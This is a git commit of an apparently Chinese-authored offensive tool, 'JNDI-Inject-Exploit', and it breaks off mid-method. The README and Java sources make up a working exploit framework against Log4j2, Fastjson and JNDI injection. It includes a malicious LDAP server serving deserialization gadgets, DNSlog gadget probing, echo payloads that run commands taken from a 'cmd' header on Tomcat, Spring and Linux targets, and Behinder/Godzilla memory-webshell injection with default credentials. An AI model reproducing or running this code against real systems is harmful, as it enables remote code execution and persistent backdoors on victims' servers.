First commit

This commit is contained in:
SearchNull
2021-12-26 14:36:55 +08:00
commit 33021efdff
19 changed files with 1903 additions and 0 deletions

4
.gitignore vendored Normal file
View File

@@ -0,0 +1,4 @@
.idea/
out/
target/
config.properties

126
README.md Normal file
View File

@@ -0,0 +1,126 @@
# JNDI-Inject-Exploit
## Introduce
> 本工具用于解决 Fastjson、log4j2、原生JNDI注入等场景中针对高版本JDK无法加载远程恶意类通过LDAP服务器返回原生Java反序列化数据受害者客户端在具备反序列化Gadget依赖的情况下可达到命令执行、代码执行、回显命令执行、无文件落地内存马注册等。
>
> Solve the high version of JDK Bypass, like FastJson, Jackson, Log4j2, native JNDI injection vulnerabilities, and detect locally available deserialization gadgets to achieve command execution, echo command execution, and memory shell injection
## Usage
```shell
java -jar JNDI-Inject-Exploit-[version]-all.jar
```
无指定任何参数的情况下将显示帮助信息.
```
Usage:
java -jar JNDI-Inject-Exploit-0.1-all.jar [options]
Options:
ip LDAP Server IP如VPS则指定公网IP
port LDAP Server 监听端口默认为1389
url 目标URL指定headers和body参数可发送完整HTTP请求
method 指定HTTP请求方法默认为GET
headers 指定HTTP请求头以分号分隔多个请求头以=分隔key,value
body 指定HTTP请求体内容
proxy 指定HTTP请求使用的代理eg: 127.0.0.1:8080, 只支持Http/S
```
**支持探测以下Gadget**
* BeanShell1
* CommonsBeanutils1
* CommonsBeanutils2
* CommonsCollections1
* CommonsCollections2
* CommonsCollections3
* CommonsCollections4
* CommonsCollections5
* CommonsCollections6
* CommonsCollections7
* CommonsCollections8
* CommonsCollections9
* CommonsCollections10
* CommonsCollectionsK1
* CommonsCollectionsK2
* CommonsCollectionsK3
* CommonsCollectionsK4
* Groovy1
* Weblogic2555
* Jdk7u21
* ROME
* Spring1
* Spring2
## Config
> 使用该工具必须在运行目录下新建 `config.properties`文件配置DNSLOG平台信息以下是示例配置文件。
>
> JNDI注入的漏洞场景为必须出网环境因此使用Dnslog平台探测Gadgetsleep属性指定发送Gadget Payload后等待Dnslog平台的响应时间具体数值根据网络环境及Dnslog平台自定义
```properties
# Dnslog平台名称非必须
Platform=ceye
# Dnslog平台查询API
Api=http://api.ceye.io/v1/records?token={token}&type=dns&filter={filter}
# Dnslog平台鉴权Token
Token=xxxx
# Dnslog平台顶级域名
Domain=xxxx.ceye.io
# 等待Dnslog平台响应时间非必须默认为5秒
Sleep=10
# 开启LDAP请求日志打印
EnableLDAPLog=False
# 开启Http请求日志打印
EnableHttpLog=False
```
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226143410.png)
## Example
**LDAP查询的对象名称可为任意字符示例为EvilObjectLDAPServer拦截客户端搜索结果获取查询名称并根据该名称返回结果因此查询任何名称均可运行。**
```
java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168.0.118:8190/log?id=$%7bjndi:ldap://192.168.0.104:1389/EvilObject%7d"
```
**Gadget探测**
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png)
**可利用Gadget信息如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行如名称中带有 `BehinderFilter` 、`GodzillaFilter` 字样则表示支持注入冰蝎内存马或哥斯拉内存马**
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png)
**回显命令执行**
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142425.png)
**切换为普通命令执行gadget并执行 `calc` 命令**
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142509.png)
(目标受害机成功执行命令)
![img](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211217172927.png)
## MemoryShell
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221123751.png)
**内存马注入 (默认内存马路径为/favicondemo.ico, 密码为pass1024), 回显Memory shell inject success表示注入成功. (NeoreGeorg不支持自定义密码, 默认密码为pass1024, 路径可自定义)**
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221123915.png)
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221124124.png)
## References
**本项目参考自以下优秀的开源项目:**
[wyzxxz/shiro_rce_tool: shiro 反序列 命令执行辅助检测工具](https://github.com/wyzxxz/shiro_rce_tool)
[feihong-cs/Java-Rce-Echo: Java RCE 回显测试代码](https://github.com/feihong-cs/Java-Rce-Echo)

26
pom.xml Normal file
View File

@@ -0,0 +1,26 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>io.github.exp1orer</groupId>
<artifactId>JNDI-Inject-Exploit</artifactId>
<version>0.1-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
</dependencies>
</project>

View File

@@ -0,0 +1,369 @@
package io.github.exp1orer;
import io.github.exp1orer.server.LDAPServer;
import io.github.exp1orer.util.*;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.util.*;
/**
* @author SearchNull
*/
public class StartUp {
private static Map<String, String> options;
private static LDAPServer ldapServer;
private static String ip;
private static int port;
private static String url;
private static String method;
private static Map<String, String> headers;
private static String body;
private static Proxy proxy;
private static Scanner sc;
private static String command;
private static String commandResult = "";
private static boolean runFlag = false;
private static List<String> validGadget = new ArrayList<String>();
private static Map<String, List<String>> validCommandEcho = new HashMap<String, List<String>>();
private static List<String> memoryShell = new ArrayList<String>();
private static String[] commandEcho = new String[]{
"directive:LinuxEcho",
"directive:WindowsEcho",
"directive:SpringEcho1",
"directive:SpringEcho2",
// "directive:Tomcat6Echo",
// "directive:Tomcat78Echo",
// "directive:Tomcat9Echo",
"directive:TomcatEcho",
"directive:TomcatEcho2",
"directive:WeblogicEcho1",
"directive:WeblogicEcho2",
"directive:JettyEcho",
"directive:AutoFindRequestEcho",
// "directive:WriteFileEcho",
// "directive:WriteClass"
};
public static void main(String[] args) {
Parser parser = new Parser();
options = parser.parse(args);
if (options.get("ip") == null || options.get("url") == null) {
printUsage();
System.exit(1);
} else {
initial();
run();
System.exit(1);
}
}
/**
* @description: 初始化操作
* @return void
*/
private static void initial() {
ip = options.get("ip");
port = Integer.parseInt(options.get("port") == null ? "1389" : options.get("port"));
url = options.get("url");
method = options.get("method") == null ? "GET" : options.get("method");
headers = Parser.parseHeaders(options.get("headers"));
body = options.get("body");
if (options.get("proxy") != null) {
String[] proxies = options.get("proxy").split(":", 2);
proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1])));
}
memoryShell.add("BehinderFilter");
memoryShell.add("BehinderServlet");
memoryShell.add("GodzillaFilter");
memoryShell.add("GodzillaServlet");
memoryShell.add("NeoreGeorgFilter");
memoryShell.add("NeoreGeorgServlet");
try {
Class.forName("io.github.exp1orer.util.Config");
} catch (ClassNotFoundException classNotFoundException) {
classNotFoundException.printStackTrace();
}
}
/**
* @description: 打印帮助信息
*/
private static void printUsage() {
System.out.println("Log4jShell Author:SearchNull\n");
System.out.println("Usage: \n");
System.out.println("java -jar JNDI-Inject-Exploit-0.1-all.jar [options]\n" +
"\n" +
"Options:\n" +
" ip LDAP Server IP如VPS则指定公网IP\n" +
" port LDAP Server 监听端口默认为1389\n" +
" url 目标URL指定headers和body参数可发送完整HTTP请求\n" +
" method 指定HTTP请求方法默认为GET\n" +
" headers 指定HTTP请求头以分号分隔多个请求头以=分隔key,value\n" +
" body 指定HTTP请求体内容\n" +
" proxy 指定HTTP请求使用的代理eg: 127.0.0.1:8080, 只支持Http/S");
System.out.println("Example: java -jar Log4j2Shell-0.1-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\"");
}
/**
* @description: 打印可用gadget
*/
private static void printGadget() {
for (int i = 0; i < validGadget.size(); i++) {
String payloadType = validGadget.get(i);
if (validCommandEcho.get(payloadType) != null) {
System.out.println(String.format("[%d] %s - %s - %s", i ,payloadType, validCommandEcho.get(payloadType), memoryShell));
} else if (LDAPServer.gadgetType.get("codeExecute").contains(payloadType)) {
System.out.println(String.format("[%d] %s - %s", i, payloadType, memoryShell));
} else {
System.out.println(String.format("[%d] %s", i, payloadType));
}
}
}
/**
* @description: 主程序运行
* @return boolean
* @author: SearchNull
*/
private static boolean run() {
int num = 0;
ldapServer = new LDAPServer(ip, port);
Thread threadldap = new Thread(ldapServer);
threadldap.start();
// 等待LDAPServer运行
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
boolean gadget = checkGadget(ldapServer);
if (gadget) {
boolean result = checkCommandEcho();
printGadget();
while (true) {
sc = new Scanner(System.in);
try {
if (runFlag) {
executeCmd(num);
continue;
}
System.out.println("[+] Please enter the number (0-" + String.valueOf(validGadget.size() - 1) + ")" + ", enter q or quit to quit");
System.out.print("> ");
String option = sc.nextLine().trim();
if ("q".equalsIgnoreCase(option) || "quit".equalsIgnoreCase(option)) {
break;
} else {
int n = Integer.parseInt(option);
num = n;
if (n >= 0 && n < validGadget.size()) {
runFlag = true;
executeCmd(n);
}
}
} catch (IOException ioException) {
ioException.printStackTrace();
}
}
} else {
System.out.println("[-] No gadget can be use, quit.");
System.exit(1);
}
return true;
}
/**
* @description: 从标准输入获取命令通过反序列化gadget执行
*/
private static void executeCmd(int i) throws IOException {
System.out.println("[+] Please enter command the execute, enter q or quit to quit, enter back to re-choore gadget, enter shell name inject memory shell");
System.out.print("> ");
command = sc.nextLine().trim();
if ("q".equalsIgnoreCase(command) || "quit".equalsIgnoreCase(command)) {
System.exit(1);
} else if ("back".equalsIgnoreCase(command)) {
printGadget();
runFlag = false;
return;
} else if (memoryShell.contains(command)) {
if (validCommandEcho.get(validGadget.get(i)) != null) {
String path, pwd;
LDAPServer.serializedData = GeneratePayload.getPayload(validGadget.get(i), "code=" + MemoryShell.process(command));
System.out.print("MemoryShell path default: /favicondemo.ico> ");
path = sc.nextLine().trim();
if (!"NeoreGeorgFilter".equalsIgnoreCase(command) && !"NeoreGeorgServlet".equalsIgnoreCase(command)) {
System.out.print("MemoryShell pwd default: pass1024 > ");
pwd = sc.nextLine().trim();
} else {
pwd = "pass1024";
}
if (path.length() > 1 && pwd.length() > 1) {
Map<String, String> tempHeaders = headers;
tempHeaders.put("path", path);
tempHeaders.put("p", pwd);
boolean resp = HttpUtil.connection(url, method, tempHeaders, body, proxy);
} else {
boolean resp = HttpUtil.connection(url, method, headers, body, proxy);
}
if (HttpUtil.getResponseBody().indexOf("->|Success|<-") != -1) {
System.out.println("[+] Memory shell inject success");
}
}
return;
}
boolean commandExecuteStatus = runCommand(i, command);
if (commandExecuteStatus && !"".equals(commandResult)) {
System.out.println(commandResult);
commandResult = "";
}
}
/**
* @description: 检测Gadget
* @param ldapServer LDAPServer对象
* @return boolean
* @author: SearchNull
*/
private static boolean checkGadget(LDAPServer ldapServer) {
Map<String, String> tempRecord = new HashMap<String, String>();
String dnslog;
for (String gadget : ldapServer.gadgets) {
System.out.println("[*] Check " + gadget);
dnslog = Dnslog.getRandomDomain(4);
LDAPServer.serializedData = GeneratePayload.getPayload(gadget, "ping -nc 1 " + dnslog);
tempRecord.put(dnslog, gadget);
boolean resp = HttpUtil.connection(url, method, headers, body, proxy);
}
// 等待Dnslog平台响应
try {
Thread.sleep(Dnslog.sleep * 1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
for (String domain : tempRecord.keySet()) {
boolean record = Dnslog.getRecord(domain);
if (record) {
ldapServer.gadgetFlag = true;
validGadget.add(tempRecord.get(domain));
}
}
return ldapServer.gadgetFlag;
}
/**
* @description: 检测命令回显
* @return boolean
* @author: SearchNull
*/
private static boolean checkCommandEcho() {
String line;
String respContent;
String uuid = UUID.randomUUID().toString();
String command = "echo " + uuid;
if (headers == null) {
headers = new HashMap<String, String>();
headers.put("cmd", command);
} else {
headers.put("cmd", command);
}
for (int i = 0; i < validGadget.size(); i++) {
List<String> validCommandEchoType = new ArrayList<String>();
String payloadType = validGadget.get(i);
System.out.println("[+] Can be use " + payloadType);
if (LDAPServer.gadgetType.get("codeExecute").contains(payloadType)) {
System.out.println("[*] Check command echo");
for (String commandType : commandEcho) {
System.out.println("[*] Check " + commandType.split(":")[1]);
if (commandType.startsWith("directive:LinuxEcho") || commandType.startsWith("directive:WindowsEcho") || commandType.startsWith("directive:WeblogicEcho2") || commandType.startsWith("directive:WriteFileEcho")) {
commandType += ":" + command;
}
String code = "code=" + CommandEcho.process(commandType);
LDAPServer.serializedData = GeneratePayload.getPayload(payloadType, code);
boolean resp = HttpUtil.connection(url, method, headers, body, proxy);
try {
respContent = HttpUtil.getResponseBody();
if (respContent.contains(uuid)) {
ldapServer.echoFlag = true;
validCommandEchoType.add(commandType.split(":")[1]);
}
} catch (IOException io) {
io.printStackTrace();
}
}
if (ldapServer.echoFlag && validCommandEchoType.size() > 0) {
validCommandEcho.put(payloadType, validCommandEchoType);
}
}
}
return ldapServer.echoFlag;
}
/**
* @description: 指定Gadget执行命令
* @param index validGadget索引
* @param command 执行的命令
* @return boolean
* @author: SearchNull
*/
private static boolean runCommand(int index, String command) {
String line;
String respContent;
if (headers == null) {
headers = new HashMap<String, String>();
}
if (validCommandEcho.get(validGadget.get(index)) != null) {
List<String> commandEchoType = validCommandEcho.get(validGadget.get(index));
String flagStr1 = Parser.getRandomStr(10);
String flagStr2 = Parser.getRandomStr(10);
String cmd = String.format("echo %s && %s && echo %s", flagStr1, command, flagStr2);
headers.put("cmd", cmd);
for (int i = 0; i < commandEchoType.size(); i++) {
String commandType = "directive:" + commandEchoType.get(i);
if (commandType.startsWith("directive:LinuxEcho") || commandType.startsWith("directive:WindowsEcho") || commandType.startsWith("directive:WeblogicEcho2") || commandType.startsWith("directive:WriteFileEcho")) {
commandType += ":" + cmd;
}
String code = "code=" + CommandEcho.process(commandType);
LDAPServer.serializedData = GeneratePayload.getPayload(validGadget.get(index), code);
boolean resp = HttpUtil.connection(url, method, headers, body, proxy);
try {
respContent = HttpUtil.getResponseBody();
if (respContent.contains(flagStr1) && respContent.contains(flagStr2)) {
commandResult = respContent.substring(respContent.indexOf(flagStr1) + flagStr1.length(), respContent.indexOf(flagStr2));
break;
}
} catch (IOException io) {
io.printStackTrace();
}
}
} else if (validGadget.get(index) != null) {
String payloadType = validGadget.get(index);
LDAPServer.serializedData = GeneratePayload.getPayload(payloadType, command);
boolean resp = HttpUtil.connection(url, method, headers, body, proxy);
if (resp) {
return true;
}
} else {
return false;
}
return true;
}
}

View File

@@ -0,0 +1,135 @@
package io.github.exp1orer.server;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.listener.interceptor.InterceptedSearchOperation;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.UnknownHostException;
import java.text.ParseException;
import java.util.HashMap;
import java.util.Map;
public class LDAPServer implements Runnable {
private static final String LDAP_BASE = "dc=example,dc=com";
private String gadget = "CommonsBeanutils1";
private Integer port;
private String ip;
public boolean gadgetFlag;
public boolean echoFlag;
public static String serializedData;
public static boolean enableLDAPLog;
public static Map<String, String> gadgetType = new HashMap<String, String>();
public final String[] gadgets = new String[]{
"BeanShell1",
"CommonsBeanutils1",
"CommonsBeanutils2",
"CommonsCollections1",
"CommonsCollections2",
"CommonsCollections3",
"CommonsCollections4",
"CommonsCollections5",
"CommonsCollections6",
"CommonsCollections7",
"CommonsCollections8",
"CommonsCollections9",
"CommonsCollections10",
"CommonsCollectionsK1",
"CommonsCollectionsK2",
"CommonsCollectionsK3",
"CommonsCollectionsK4",
"Groovy1",
"Weblogic2555",
"Jdk7u21",
"ROME",
"Spring1",
"Spring2"
};
public LDAPServer(String ip, int port) {
this.ip = ip;
this.port = port;
}
public LDAPServer(String ip, int port, String gadget) {
this.ip = ip;
this.port = port;
this.gadget = gadget;
}
@Override
public void run() {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig("listen",
InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(String.format("http://%s:%d/#Object", ip, port))));
InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
System.out.println("[+] LDAP Listening on: " + ip + ":" + String.valueOf(port));
server.startListening();
} catch (LDAPException e) {
System.out.println("LDAP Server启动失败异常信息: " + e.toString());
} catch (UnknownHostException unknownHostException) {
unknownHostException.printStackTrace();
} catch (MalformedURLException urlException) {
urlException.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL codebase) {
this.codebase = codebase;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
if (result.getConnectedAddress() != null && enableLDAPLog) {
System.out.println("[*] LDAP request from address: " + ((InterceptedSearchOperation) result).getClientConnection().getSocket().getInetAddress().getHostAddress());
}
if (base.trim().length() >= 1) {
Entry entry = new Entry(base);
try {
sendResult(result, base, entry);
} catch (LDAPException e) {
e.printStackTrace();
}
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException {
e.addAttribute("javaClassName", "foo");
try {
e.addAttribute("javaSerializedData", Base64.decode(LDAPServer.serializedData));
} catch (ParseException parseException) {
parseException.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
static {
gadgetType.put("commandExecute", "BeanShell1,CommonsBeanutils2,CommonsCollections1,CommonsCollections5,CommonsCollections6,CommonsCollections7,CommonsCollections9,CommonsCollectionsK3,CommonsCollectionsK4,Groovy1,Weblogic2555");
gadgetType.put("codeExecute", "CommonsBeanutils1,CommonsCollections2,CommonsCollections3,CommonsCollections4,CommonsCollections8,CommonsCollections10,CommonsCollectionsK1,CommonsCollectionsK2,Jdk7u21,ROME,Spring1,Spring2");
}
}

View File

@@ -0,0 +1,792 @@
package io.github.exp1orer.util;
import java.io.*;
import java.util.Arrays;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;
public class CommandEcho {
public static String process(String command){
if(command == null || "".equals(command.trim())){
return "";
}
command = command.trim();
if(command.startsWith("directive:sleep")){
long time = Long.parseLong(command.split(":", 3)[2]);
return sleep(time);
}else if(command.startsWith("directive:LinuxEcho")){
return linuxEcho(command);
}else if(command.startsWith("directive:WindowsEcho")){
return windowsEcho(command);
}else if(command.startsWith("directive:SpringEcho1")){
return springEcho1();
}else if(command.startsWith("directive:SpringEcho2")){
return springEcho2();
}else if(command.startsWith("directive:Tomcat6Echo")) {
return tomcat6Echo();
}else if(command.startsWith("directive:Tomcat78Echo")) {
return tomcat78Echo();
}else if(command.startsWith("directive:Tomcat9Echo")) {
return tomcat9Echo();
}else if(command.startsWith("directive:TomcatEcho")){
return tomcatEcho();
}else if(command.startsWith("directive:TomcatEcho2")) {
return tomcatEcho2();
}else if(command.startsWith("directive:WeblogicEcho1")){
return weblogicEcho1();
}else if(command.startsWith("directive:WeblogicEcho2")){
return weblogicEcho2(command);
}else if(command.startsWith("directive:ResinEcho")){
return resinEcho();
}else if(command.startsWith("directive:JettyEcho")){
return jettyEcho();
}else if(command.startsWith("directive:AutoFindRequestEcho")){
return autoFindRequestEcho();
}else if(command.startsWith("directive:WriteFileEcho")){
return wirteFileEcho(command);
}else if(command.startsWith("directive:WriteClass")){
return writeClass(Integer.parseInt(command.split(":",3)[2]));
} else if(command.startsWith("directive:Shell")){
return shell(command);
}else{
return "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
}
public static String sleep(long seconds){
long time = seconds * 1000;
String code = "java.lang.Thread.sleep((long)" + time + ");";
return code;
}
public static String linuxEcho(String command){
String cmd = command.split(":", 3)[2];
cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"");
String code = " if(java.io.File.separator.equals(\"/\")){\n" +
" String command = \"ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\\\"[\\\"}''{print $2}'|sed 's/.$//'\";\n" +
" String[] cmd = new String[]{\"/bin/sh\", \"-c\", command};\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));\n" +
" java.util.List res1 = new java.util.ArrayList();\n" +
" String line = \"\";\n" +
" while ((line = br.readLine()) != null && !line.trim().isEmpty()){\n" +
" res1.add(line);\n" +
" }\n" +
" br.close();\n" +
"\n" +
" try {\n" +
" Thread.sleep((long)2000);\n" +
" } catch (InterruptedException e) {\n" +
" //pass\n" +
" }\n" +
"\n" +
" command = \"ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'\";\n" +
" cmd = new String[]{\"/bin/sh\", \"-c\", command};\n" +
" br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));\n" +
" java.util.List res2 = new java.util.ArrayList();\n" +
" while ((line = br.readLine()) != null && !line.trim().isEmpty()){\n" +
" res2.add(line);\n" +
" }\n" +
" br.close();\n" +
"\n" +
" int index = 0;\n" +
" int max = 0;\n" +
" for(int i = 0; i < res2.size(); i++){\n" +
" try{\n" +
" String socketNo = ((String)res2.get(i)).split(\"\\\\s+\")[1].substring(8);\n" +
" socketNo = socketNo.substring(0, socketNo.length() - 1);\n" +
" for(int j = 0; j < res1.size(); j++){\n" +
" if(!socketNo.equals(res1.get(j))) continue;\n" +
"\n" +
" if(Integer.parseInt(socketNo) > max) {\n" +
" max = Integer.parseInt(socketNo);\n" +
" index = j;\n" +
" }\n" +
" break;\n" +
" }\n" +
" }catch(Exception e){\n" +
" //pass\n" +
" }\n" +
" }\n" +
"\n" +
" int fd = Integer.parseInt(((String)res2.get(index)).split(\"\\\\s\")[0]);\n" +
" java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});\n" +
" c.setAccessible(true);\n" +
" cmd = new String[]{\"/bin/sh\", \"-c\", \"" + cmd + "\"};\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
" String result = \"HTTP/1.1 200 OK\\nConnection: close\\nContent-Length: \" + res.length() + \"\\n\\n\" + res + \"\\n\";\n" +
" java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));\n" +
" os.write(result.getBytes());\n" +
" }";
return code;
}
public static String springEcho1(){
String code = " java.lang.reflect.Method method = Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"getRequestAttributes\", null);\n" +
" Object requestAttributes = method.invoke(null,null);\n" +
"\n" +
" method = requestAttributes.getClass().getMethod(\"getRequest\", null);\n" +
" Object request = method.invoke(requestAttributes , null);\n" +
"\n" +
" method = request.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" +
" String cmd = (String) method.invoke(request, new Object[]{\"cmd\"});\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
"\n" +
" method = requestAttributes.getClass().getMethod(\"getResponse\", null);\n" +
" Object response = method.invoke(requestAttributes , null);\n" +
"\n" +
" method = response.getClass().getMethod(\"getWriter\", null);\n" +
" java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(response, null);\n" +
" printWriter.println(res);";
return code;
}
public static String springEcho2(){
String code = "java.lang.reflect.Method method = Class.forName(\"org.springframework.webflow.context.ExternalContextHolder\").getMethod(\"getExternalContext\", null);\n" +
" Object servletExternalContext = method.invoke(null,null);\n" +
"\n" +
" method = servletExternalContext.getClass().getMethod(\"getNativeRequest\", null);\n" +
" Object request = method.invoke(servletExternalContext , null);\n" +
"\n" +
" method = request.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" +
" String cmd = (String) method.invoke(request, new Object[]{\"cmd\"});\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
"\n" +
" method = servletExternalContext.getClass().getMethod(\"getNativeResponse\", null);\n" +
" Object response = method.invoke(servletExternalContext , null);\n" +
"\n" +
" method = response.getClass().getMethod(\"getWriter\", null);\n" +
" java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(response, null);\n" +
" printWriter.println(res);";
return code;
}
public static String tomcat6Echo() {
String code = "Object obj = Thread.currentThread();\n" +
" java.lang.reflect.Field field = obj.getClass().getDeclaredField(\"target\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"this$0\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"handler\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"global\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"processors\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
"\n" +
" java.util.List processors = (java.util.List) obj;\n" +
" for (Object o : processors) {\n" +
" field = o.getClass().getDeclaredField(\"req\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(o);\n" +
" org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" +
"\n" +
" java.lang.String cmd = req.getHeader(\"cmd\");\n" +
" if (cmd != null) {\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
" org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();\n" +
" bc.setBytes(res.getBytes(), 0, res.getBytes().length);\n" +
" req.getResponse().doWrite(bc);\n" +
" }\n" +
" }";
return code;
}
public static String tomcat78Echo() {
String code = "Object obj = Thread.currentThread();\n" +
" java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField(\"group\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"threads\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" Thread[] threads = (Thread[])obj;\n" +
" label:for(Thread thread : threads){\n" +
" try{\n" +
" if((thread.getName().contains(\"http-apr\") && thread.getName().contains(\"Poller\"))\n" +
" || (thread.getName().contains(\"http-bio\") && thread.getName().contains(\"AsyncTimeout\"))\n" +
" || (thread.getName().contains(\"http-nio\") && thread.getName().contains(\"Poller\"))) {\n" +
" field = thread.getClass().getDeclaredField(\"target\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(thread);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"this$0\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" try{\n" +
" field = obj.getClass().getDeclaredField(\"handler\");\n" +
" }catch (NoSuchFieldException e){\n" +
" field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" +
" }\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" try{\n" +
" field = obj.getClass().getSuperclass().getDeclaredField(\"global\");\n" +
" }catch(NoSuchFieldException e){\n" +
" field = obj.getClass().getDeclaredField(\"global\");\n" +
" }\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
" field = obj.getClass().getDeclaredField(\"processors\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(obj);\n" +
"\n" +
"\n" +
" java.util.List processors = (java.util.List) obj;\n" +
" for (Object o : processors) {\n" +
" field = o.getClass().getDeclaredField(\"req\");\n" +
" field.setAccessible(true);\n" +
" obj = field.get(o);\n" +
" org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" +
"\n" +
" String cmd = req.getHeader(\"cmd\");\n" +
" if (cmd != null) {\n" +
" String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" +
"\n" +
" org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();\n" +
" bc.setBytes(res.getBytes(), 0, res.getBytes().length);\n" +
" req.getResponse().doWrite(bc);\n" +
" break label;\n" +
" }\n" +
" }\n" +
" }\n" +
" }catch(Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
" }";
return code;
}
public static String tomcat9Echo() {
String code = "Object obj = Thread.currentThread();\n" +
